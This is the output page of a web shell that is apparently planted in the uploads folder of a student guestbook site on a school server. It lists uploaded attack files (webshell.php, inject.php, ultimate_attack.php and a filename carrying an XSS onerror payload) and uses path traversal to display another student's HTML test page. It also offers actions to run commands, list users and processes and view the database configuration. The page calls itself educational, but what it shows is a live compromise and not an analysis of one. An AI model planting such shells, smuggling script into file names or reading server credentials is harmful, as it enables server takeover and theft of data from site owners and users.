๐Ÿš WEB SHELL ACTIVATED

๐Ÿ“ File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

๐Ÿ“„ ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
๐Ÿ“ ..
๐Ÿ“„ 003b15869ae62d2ceeee451a5f652dd6.png [view]
๐Ÿ“„ 0tk5j14v024b1.jpg [view]
๐Ÿ“„ 300px-Cursed_Cat.jpg [view]
๐Ÿ“„ 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
๐Ÿ“„ Bill-Gates-Paul-Allen-2013.jpg [view]
๐Ÿ“„ CV Jasper Kramp.png [view]
๐Ÿ“„ Cat profile.png [view]
๐Ÿ“„ Fronalpstock_big.jpg [view]
๐Ÿ“„ Krik en las.jpg [view]
๐Ÿ“„ Krik.jpg [view]
๐Ÿ“„ Pino-dood-03.jpg [view]
๐Ÿ“„ Shellz.php [view]
๐Ÿ“„ Ted_Kaczynski_2_(cropped).jpg [view]
๐Ÿ“„ Tux.svg.png [view]
๐Ÿ“„ Z.png [view]
๐Ÿ“„ android.jpg [view]
๐Ÿ“„ apple.php [view]
๐Ÿ“„ cianancatfish.jpg [view]
๐Ÿ“„ downloads (1).jpeg [view]
๐Ÿ“„ downloads.jpeg [view]
๐Ÿ“„ epresso.jpg [view]
๐Ÿ“„ fake_photo.png [view]
๐Ÿ“„ hand.jpg [view]
๐Ÿ“„ https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
๐Ÿ“„ image.png [view]
๐Ÿ“„ images.jpeg [view]
๐Ÿ“„ info.php [view]
๐Ÿ“„ inject.php [view]
๐Ÿ“„ instant_redirect.jpg [view]
๐Ÿ“„ japper.jpg [view]
๐Ÿ“„ koekiemonster-3.jpg [view]
๐Ÿ“„ logo.png [view]
๐Ÿ“„ muis.jpg [view]
๐Ÿ“„ people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
๐Ÿ“„ picobellobv.jpeg [view]
๐Ÿ“„ redirect.php [view]
๐Ÿ“„ rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
๐Ÿ“„ sdfsa.png [view]
๐Ÿ“„ sneaky.svg [view]
๐Ÿ“„ taylor.webp [view]
๐Ÿ“„ test.html [view]
๐Ÿ“„ testpreg.php [view]
๐Ÿ“„ testpreg1.php [view]
๐Ÿ“„ testtest.php.JPG [view]
๐Ÿ“„ ultimate_attack.gif [view]
๐Ÿ“„ ultimate_attack.php [view]
๐Ÿ“„ ultimate_attack.svg [view]
๐Ÿ“„ wallpaper.jpg [view]
๐Ÿ“„ webshell.php [view]

๐Ÿ“„ Viewing: ./../../l7-pro-2-e-learning-2023-Epolleke/test.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>API Test - English Vocabulary</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 50px auto;
            padding: 20px;
        }
        .test-section {
            background: #f5f5f5;
            padding: 20px;
            margin: 20px 0;
            border-radius: 8px;
        }
        button {
            background: #4f46e5;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 5px;
            cursor: pointer;
            margin: 5px;
        }
        button:hover {
            background: #4338ca;
        }
        pre {
            background: white;
            padding: 15px;
            border-radius: 5px;
            overflow-x: auto;
        }
        .success { color: green; }
        .error { color: red; }
    </style>
</head>
<body>
    <h1>๐Ÿงช API Test Page</h1>
    
    <div class="test-section">
        <h2>Test 1: Database Connection</h2>
        <button onclick="testConnection()">Test Connection</button>
        <pre id="connection-result">Click button to test...</pre>
    </div>

    <div class="test-section">
        <h2>Test 2: Get Words</h2>
        <button onclick="testGetWords()">Get Words</button>
        <pre id="words-result">Click button to test...</pre>
    </div>

    <div class="test-section">
        <h2>Test 3: Get Categories</h2>
        <button onclick="testGetCategories()">Get Categories</button>
        <pre id="categories-result">Click button to test...</pre>
    </div>

    <div class="test-section">
        <h2>Test 4: Check Answer</h2>
        <p>This will test checking the answer "kat" for word_id 1 (cat)</p>
        <button onclick="testCheckAnswer()">Check Answer</button>
        <pre id="check-result">Click button to test...</pre>
    </div>

    <script>
        async function testConnection() {
            const result = document.getElementById('connection-result');
            result.textContent = 'Testing...';
            
            try {
                const response = await fetch('php/debug.php');
                const data = await response.json();
                result.className = 'success';
                result.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                result.className = 'error';
                result.textContent = 'Error: ' + error.message;
            }
        }

        async function testGetWords() {
            const result = document.getElementById('words-result');
            result.textContent = 'Testing...';
            
            try {
                const response = await fetch('php/get_words.php?limit=3');
                const data = await response.json();
                result.className = data.success ? 'success' : 'error';
                result.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                result.className = 'error';
                result.textContent = 'Error: ' + error.message;
            }
        }

        async function testGetCategories() {
            const result = document.getElementById('categories-result');
            result.textContent = 'Testing...';
            
            try {
                const response = await fetch('php/get_categories.php');
                const data = await response.json();
                result.className = data.success ? 'success' : 'error';
                result.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                result.className = 'error';
                result.textContent = 'Error: ' + error.message;
            }
        }

        async function testCheckAnswer() {
            const result = document.getElementById('check-result');
            result.textContent = 'Testing...';
            
            const testData = {
                word_id: 1,
                answer: "kat",
                session_id: "test_session_" + Date.now()
            };

            console.log('Sending:', testData);
            
            try {
                const response = await fetch('php/check_answer.php', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify(testData)
                });

                console.log('Response status:', response.status);
                const data = await response.json();
                console.log('Response data:', data);
                
                result.className = data.success ? 'success' : 'error';
                result.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                result.className = 'error';
                result.textContent = 'Error: ' + error.message;
                console.error('Full error:', error);
            }
        }
    </script>
</body>
</html>

๐ŸŽฏ Available Actions

Command Execution:

Quick Commands:

๐Ÿ“‹ List files | ๐Ÿ‘ค Show user | ๐Ÿ“ Show directory | ๐Ÿ”„ Show processes | ๐Ÿ” Show users

File Operations:

โฌ†๏ธ Parent directory | ๐Ÿ  Root directory | ๐Ÿ” View DB config
โš ๏ธ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!